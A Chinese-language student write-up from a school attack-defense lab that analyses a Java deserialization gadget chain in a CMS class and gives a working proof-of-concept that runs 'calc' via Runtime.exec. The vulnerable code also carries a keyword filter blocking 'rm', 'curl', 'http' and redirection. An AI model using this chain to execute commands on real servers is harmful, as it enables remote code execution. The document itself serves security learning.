学校网安实践遇到的反序列化
正在进行java安全的学习,正好学校网安实践有相关的题目,这个反序列化漏洞是在学校的awd靶场中进行cms审计时发现的。也算是我第一次独立分析java反序列化代码。
这里只放出反序列化代码的分析过程。
反序列化代码
package com.deserialize;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.lang.reflect.Method;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class ReflectionPlay implements Serializable {
private static final long serialVersionUID = 814434800882325819L;
private void gl(ReflectionPlay.ReflectionObject obj) {
if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {
for(int i = 0; i < obj.args.length; ++i) {
Object ag = obj.args[i];
if (ag != null && ag instanceof String) {
String fh = replaceAll((String)ag, "rm", "XX");
fh = replaceAll(fh, "http", "XX");
fh = replaceAll(fh, "\\\\", "XX");
fh = replaceAll(fh, "//", "XX");
fh = replaceAll(fh, "\\.", "XX");
fh = replaceAll(fh, ">", "XX");
fh = replaceAll(fh, "curl", "XX");
obj.args[i] = fh;
}
}
}
}
public static String replaceAll(String input, String regex, String replacement) {
try {
Pattern p = Pattern.compile(regex, 2);
Matcher m = p.matcher(input);
return m.replaceAll(replacement);
} catch (Exception var5) {
var5.printStackTrace();
return input;
}
}
public class AttackObject implements Serializable {
private static final long serialVersionUID = 4082925022846947297L;
private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;
public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
this.reflectionChainsArry = reflectionChainsArry;
}
private void readObject(ObjectInputStream stream) throws Exception {
this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
this.reflectionChainsArry.execute();
}
}
public class ReflectionChainsArry implements Serializable {
private static final long serialVersionUID = 991019635353232843L;
private ReflectionPlay.ReflectionChains[] reflectionChains;
public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
this.reflectionChains = reflectionChains;
}
public Object execute() throws Exception {
Object concurrentObject = null;
ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
concurrentObject = reflectionChainObject.transform(concurrentObject);
}
return concurrentObject;
}
}
public class ReflectionChains implements Serializable {
private static final long serialVersionUID = 7085587767543412902L;
private Object firstObject;
private ReflectionPlay.ReflectionObject[] reflectionObjects;
public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}
public Object transform(Object InObj) throws Exception {
Object concurrentObject = this.firstObject;
for(int i = 0; i < this.reflectionObjects.length; ++i) {
if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
this.reflectionObjects[i].addArg(InObj);
}
ReflectionPlay.this.gl(this.reflectionObjects[i]);
concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
}
return concurrentObject;
}
}
public class ReflectionObject implements Serializable {
private static final long serialVersionUID = -3677766270625763305L;
private String methodName;
private Class[] paramTypes;
private Object[] args;
private Object arg;
public int dynarg = 0;
public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
this.dynarg = dynarg;
}
public void addArg(Object add) {
if (this.methodName.equals("newInstance")) {
this.args = new Object[]{new Object[]{add}};
} else {
if (this.args.length > 0) {
this.args[0] = add;
} else {
this.args = new Object[]{add};
}
}
}
public Object transform(Object input) throws Exception {
try {
Class inputClass = input.getClass();
Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
TargetMethod.setAccessible(true);
return TargetMethod.invoke(input, this.args);
} catch (Exception var4) {
if (this.args != null && this.args.length != 0) {
Object obj = this.args[0];
if (obj instanceof Object[]) {
throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
} else {
throw new RuntimeException(obj.toString());
}
} else {
throw var4;
}
}
}
}
}
大致看一眼,可以发现与commons-collections中的transform利用链相似。
首先找到readObject方法,这里构造方法接收参数为 ReflectionPlay.ReflectionChainsArry,readObject中调用execute方法
public class AttackObject implements Serializable {
private static final long serialVersionUID = 4082925022846947297L;
private ReflectionPlay.ReflectionChainsArry reflectionChainsArry;
public AttackObject(ReflectionPlay.ReflectionChainsArry reflectionChainsArry) {
this.reflectionChainsArry = reflectionChainsArry;
}
private void readObject(ObjectInputStream stream) throws Exception {
this.reflectionChainsArry = (ReflectionPlay.ReflectionChainsArry)stream.readFields().get("reflectionChainsArry", (Object)null);
this.reflectionChainsArry.execute();
}
}
ReflectionPlay.ReflectionChainsArry代码,构造方法接收列表参数reflectionChains,意味着可以构造多条利用链,
public class ReflectionChainsArry implements Serializable {
private static final long serialVersionUID = 991019635353232843L;
private ReflectionPlay.ReflectionChains[] reflectionChains;
public ReflectionChainsArry(ReflectionPlay.ReflectionChains[] reflectionChains) {
this.reflectionChains = reflectionChains;
}
public Object execute() throws Exception {
Object concurrentObject = null;
ReflectionPlay.ReflectionChains[] var2 = this.reflectionChains;
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
ReflectionPlay.ReflectionChains reflectionChainObject = var2[var4];
concurrentObject = reflectionChainObject.transform(concurrentObject);
}
return concurrentObject;
}
}
ReflectionChains类的代码 意味着构造利用链,链中依次调用transform函数,且将上一个输入作为下一次的输出。感觉类似commons-collections利用链中的transform链。
public class ReflectionChains implements Serializable {
private static final long serialVersionUID = 7085587767543412902L;
private Object firstObject;
private ReflectionPlay.ReflectionObject[] reflectionObjects;
public ReflectionChains(Object firstObject, ReflectionPlay.ReflectionObject[] reflectionObjects) {//构造方法接收两个参数,这个firstObject是指要被实例化的类,如Runtime.class
this.firstObject = firstObject;
this.reflectionObjects = reflectionObjects;
}
public Object transform(Object InObj) throws Exception {
Object concurrentObject = this.firstObject;
for(int i = 0; i < this.reflectionObjects.length; ++i) {//遍历reflectionObjects列表,当其中一个reflectionObjects的dynarg为1且参数InObj非空时,调用addArg方法。
if (this.reflectionObjects[i].dynarg == 1 && InObj != null) {
this.reflectionObjects[i].addArg(InObj);
}
//调用gl方法过滤敏感词
ReflectionPlay.this.gl(this.reflectionObjects[i]);
//调用transform方法
concurrentObject = this.reflectionObjects[i].transform(concurrentObject);
}
return concurrentObject;
}
}
gl函数代码
private void gl(ReflectionPlay.ReflectionObject obj) {
if (obj != null && "exec".equals(obj.methodName) && obj.args.length != 0) {//当对象非空且方法名为exec,且参数个数非空时,对每个参数进行过滤,使用XX替换以下的正则表达式
for(int i = 0; i < obj.args.length; ++i) {
Object ag = obj.args[i];
if (ag != null && ag instanceof String) {
String fh = replaceAll((String)ag, "rm", "XX");
fh = replaceAll(fh, "http", "XX");
fh = replaceAll(fh, "\\\\", "XX");
fh = replaceAll(fh, "//", "XX");
fh = replaceAll(fh, "\\.", "XX");
fh = replaceAll(fh, ">", "XX");
fh = replaceAll(fh, "curl", "XX");
obj.args[i] = fh;
}
}
}
}
public static String replaceAll(String input, String regex, String replacement) {//过滤函数
try {
Pattern p = Pattern.compile(regex, 2);
Matcher m = p.matcher(input);
return m.replaceAll(replacement);
} catch (Exception var5) {
var5.printStackTrace();
return input;
}
}
ReflectionObject代码
public class ReflectionObject implements Serializable {
private static final long serialVersionUID = -3677766270625763305L;
private String methodName;
private Class[] paramTypes;
private Object[] args;
private Object arg;
public int dynarg = 0;
public ReflectionObject(int dynarg, String methodName, Class[] paramTypes, Object[] args) {
this.methodName = methodName;
this.paramTypes = paramTypes;
this.args = args;
this.dynarg = dynarg;
}//构造方法接收方法名,参数类型,参数列表
public void addArg(Object add) {//当方法名为newInstance时,参数列表为add对象
if (this.methodName.equals("newInstance")) {
this.args = new Object[]{new Object[]{add}};//=={{add}}
} else {
if (this.args.length > 0) {//若不为newInstance,则第一个参数为add。
this.args[0] = add;
} else {
this.args = new Object[]{add};//=={add}
}
}
}
public Object transform(Object input) throws Exception {//使用反射执行代码
try {
Class inputClass = input.getClass();
Method TargetMethod = inputClass.getMethod(this.methodName, this.paramTypes);
TargetMethod.setAccessible(true);
return TargetMethod.invoke(input, this.args);
} catch (Exception var4) {
if (this.args != null && this.args.length != 0) {
Object obj = this.args[0];
if (obj instanceof Object[]) {
throw new RuntimeException(((Object[])((Object[])obj))[0].toString());
} else {
throw new RuntimeException(obj.toString());
}
} else {
throw var4;
}
}
}
}
调用链
尝试构造poc,成功弹出计算器
package com.company;
import com.company.ReflectionPlay.*;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
public class Main {
public static void main(String[] args) throws Exception{
ReflectionObject obj1 = new ReflectionPlay().new ReflectionObject(0,"getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null});//构造三个对象来组成第一条链
ReflectionObject obj2 = new ReflectionPlay().new ReflectionObject(0,"invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null});
ReflectionObject obj3 = new ReflectionPlay().new ReflectionObject(0,"exec",new Class[]{String.class},new Object[]{"calc"});
ReflectionChains chain1 = new ReflectionPlay().new ReflectionChains(Runtime.class, new ReflectionObject[]{obj1, obj2, obj3});//第一条链
ReflectionChains[] transformers_exec = new ReflectionChains[]{
chain1
};//poc只用第一条链验证,exp的话需要多条链进行复杂的构造,或者尝试反弹shell
ReflectionChainsArry ca = new ReflectionPlay().new ReflectionChainsArry(transformers_exec);
AttackObject ao = new ReflectionPlay().new AttackObject(ca);
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ao);
oos.flush();
oos.close();
// 本地模拟反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}
调用栈